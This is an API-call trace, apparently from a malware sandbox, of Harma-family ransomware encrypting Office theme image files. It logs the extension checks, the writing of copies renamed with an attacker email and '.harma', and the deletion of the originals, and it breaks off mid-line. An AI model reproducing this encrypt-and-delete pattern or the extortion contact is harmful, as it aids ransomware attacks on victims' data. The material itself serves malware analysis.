[0057.804] lstrlenW (lpString=".jpg") returned 4 [0057.804] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.804] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0057.804] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0057.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0057.805] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1293) returned 1 [0057.805] CloseHandle (hObject=0x1a0) returned 1 [0057.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 0x20 [0057.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0057.805] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.805] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0057.807] GetLastError () returned 0x0 [0057.807] ReadFile (in: hFile=0x1a0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x50d, lpOverlapped=0x0) returned 1 [0057.810] WriteFile (in: hFile=0x15c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x510, lpOverlapped=0x0) returned 1 [0057.811] ReadFile (in: hFile=0x1a0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.811] WriteFile (in: hFile=0x15c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0057.811] SetEndOfFile (hFile=0x15c) returned 1 [0057.811] CloseHandle (hObject=0x15c) returned 1 [0057.811] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.811] SetEndOfFile (hFile=0x1a0) returned 1 [0057.812] CloseHandle (hObject=0x1a0) returned 1 [0057.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0057.812] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 1 [0057.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0057.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0057.813] lstrlenW (lpString=".doc") returned 4 [0057.813] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.813] lstrlenW (lpString=".docx") returned 5 [0057.813] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.813] lstrlenW (lpString=".pdf") returned 4 [0057.813] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.813] lstrlenW (lpString=".xls") returned 4 [0057.813] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.813] lstrlenW (lpString=".xlsx") returned 5 [0057.813] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.813] lstrlenW (lpString=".ppt") returned 4 [0057.813] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0057.813] lstrlenW (lpString=".zip") returned 4 [0057.813] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.813] lstrlenW (lpString=".rar") returned 4 [0057.813] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.813] lstrlenW (lpString=".bz2") returned 4 [0057.813] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.813] lstrlenW (lpString=".7z") returned 3 [0057.813] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0057.813] lstrlenW (lpString=".dbf") returned 4 [0057.813] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0057.813] lstrlenW (lpString=".1cd") returned 4 [0057.813] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0057.813] lstrlenW (lpString=".jpg") returned 4 [0057.813] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0057.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0057.814] lstrlenW (lpString=".doc") returned 4 [0057.814] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.814] lstrlenW (lpString=".docx") returned 5 [0057.814] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.814] lstrlenW (lpString=".pdf") returned 4 [0057.814] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.814] lstrlenW (lpString=".xls") returned 4 [0057.814] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.814] lstrlenW (lpString=".xlsx") returned 5 [0057.814] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.814] lstrlenW (lpString=".ppt") returned 4 [0057.814] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0057.814] lstrlenW (lpString=".zip") returned 4 [0057.814] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.814] lstrlenW (lpString=".rar") returned 4 [0057.814] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.814] lstrlenW (lpString=".bz2") returned 4 [0057.814] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.814] lstrlenW (lpString=".7z") returned 3 [0057.814] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0057.814] lstrlenW (lpString=".dbf") returned 4 [0057.814] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0057.814] lstrlenW (lpString=".1cd") returned 4 [0057.814] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0057.814] lstrlenW (lpString=".jpg") returned 4 [0057.814] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.815] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0057.815] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0057.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0057.815] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=20575) returned 1 [0057.815] CloseHandle (hObject=0x1a0) returned 1 [0057.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 0x20 [0057.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0057.815] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.815] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0057.816] GetLastError () returned 0x0 [0057.816] ReadFile (in: hFile=0x1a0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x505f, lpOverlapped=0x0) returned 1 [0058.022] WriteFile (in: hFile=0x15c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x5060, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x5060, lpOverlapped=0x0) returned 1 [0058.040] ReadFile (in: hFile=0x1a0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.040] WriteFile (in: hFile=0x15c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.040] SetEndOfFile (hFile=0x15c) returned 1 [0058.040] CloseHandle (hObject=0x15c) returned 1 [0058.040] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.040] SetEndOfFile (hFile=0x1a0) returned 1 [0058.041] CloseHandle (hObject=0x1a0) returned 1 [0058.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0058.042] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 1 [0058.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0058.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0058.042] lstrlenW (lpString=".doc") returned 4 [0058.042] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0058.042] lstrlenW (lpString=".docx") returned 5 [0058.042] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0058.042] lstrlenW (lpString=".pdf") returned 4 [0058.042] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0058.042] lstrlenW (lpString=".xls") returned 4 [0058.042] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0058.042] lstrlenW (lpString=".xlsx") returned 5 [0058.042] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0058.042] lstrlenW (lpString=".ppt") returned 4 [0058.042] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0058.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0058.042] lstrlenW (lpString=".zip") returned 4 [0058.042] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0058.042] lstrlenW (lpString=".rar") returned 4 [0058.042] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0058.042] lstrlenW (lpString=".bz2") returned 4 [0058.042] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0058.043] lstrlenW (lpString=".7z") returned 3 [0058.043] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0058.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0058.043] lstrlenW (lpString=".dbf") returned 4 [0058.043] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0058.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0058.043] lstrlenW (lpString=".1cd") returned 4 [0058.043] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0058.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0058.043] lstrlenW (lpString=".jpg") returned 4 [0058.043] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0058.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0058.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0058.043] lstrlenW (lpString=".doc") returned 4 [0058.043] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0058.043] lstrlenW (lpString=".docx") returned 5 [0058.043] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0058.043] lstrlenW (lpString=".pdf") returned 4 [0058.043] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0058.043] lstrlenW (lpString=".xls") returned 4 [0058.044] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0058.044] lstrlenW (lpString=".xlsx") returned 5 [0058.044] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0058.044] lstrlenW (lpString=".ppt") returned 4 [0058.044] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0058.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0058.044] lstrlenW (lpString=".zip") returned 4 [0058.044] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0058.044] lstrlenW (lpString=".rar") returned 4 [0058.044] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0058.044] lstrlenW (lpString=".bz2") returned 4 [0058.044] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0058.044] lstrlenW (lpString=".7z") returned 3 [0058.044] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0058.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0058.044] lstrlenW (lpString=".dbf") returned 4 [0058.044] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0058.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0058.044] lstrlenW (lpString=".1cd") returned 4 [0058.044] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0058.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0058.044] lstrlenW (lpString=".jpg") returned 4 [0058.044] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0058.044] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0058.044] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0058.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0059.483] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=26402) returned 1 [0059.483] CloseHandle (hObject=0x170) returned 1 [0059.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 0x20 [0059.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0059.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0059.483] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.484] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.484] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0059.484] GetLastError () returned 0x0 [0059.484] ReadFile (in: hFile=0x170, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x6722, lpOverlapped=0x0) returned 1 [0059.702] WriteFile (in: hFile=0x1ec, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x6730, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x6730, lpOverlapped=0x0) returned 1 [0059.703] ReadFile (in: hFile=0x170, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.703] WriteFile (in: hFile=0x1ec, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.704] SetEndOfFile (hFile=0x1ec) returned 1 [0059.704] CloseHandle (hObject=0x1ec) returned 1 [0059.704] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.704] SetEndOfFile (hFile=0x170) returned 1 [0059.705] CloseHandle (hObject=0x170) returned 1 [0059.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0059.706] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 1 [0059.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0059.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0059.706] lstrlenW (lpString=".doc") returned 4 [0059.706] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0059.706] lstrlenW (lpString=".docx") returned 5 [0059.706] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0059.706] lstrlenW (lpString=".pdf") returned 4 [0059.706] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0059.707] lstrlenW (lpString=".xls") returned 4 [0059.707] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0059.707] lstrlenW (lpString=".xlsx") returned 5 [0059.707] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0059.707] lstrlenW (lpString=".ppt") returned 4 [0059.707] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0059.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0059.707] lstrlenW (lpString=".zip") returned 4 [0059.707] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0059.707] lstrlenW (lpString=".rar") returned 4 [0059.707] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0059.707] lstrlenW (lpString=".bz2") returned 4 [0059.707] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0059.707] lstrlenW (lpString=".7z") returned 3 [0059.707] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0059.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0059.707] lstrlenW (lpString=".dbf") returned 4 [0059.707] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0059.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0059.707] lstrlenW (lpString=".1cd") returned 4 [0059.707] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0059.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0059.707] lstrlenW (lpString=".jpg") returned 4 [0059.707] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0059.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0059.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0059.708] lstrlenW (lpString=".doc") returned 4 [0059.708] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0059.708] lstrlenW (lpString=".docx") returned 5 [0059.708] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0059.708] lstrlenW (lpString=".pdf") returned 4 [0059.708] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0059.708] lstrlenW (lpString=".xls") returned 4 [0059.708] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0059.708] lstrlenW (lpString=".xlsx") returned 5 [0059.708] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0059.708] lstrlenW (lpString=".ppt") returned 4 [0059.708] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0059.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0059.708] lstrlenW (lpString=".zip") returned 4 [0059.708] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0059.708] lstrlenW (lpString=".rar") returned 4 [0059.708] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0059.708] lstrlenW (lpString=".bz2") returned 4 [0059.708] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0059.708] lstrlenW (lpString=".7z") returned 3 [0059.708] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0059.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0059.708] lstrlenW (lpString=".dbf") returned 4 [0059.709] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0059.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0059.709] lstrlenW (lpString=".1cd") returned 4 [0059.709] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0059.709] lstrlenW (lpString="C:\\Program Files\\Common 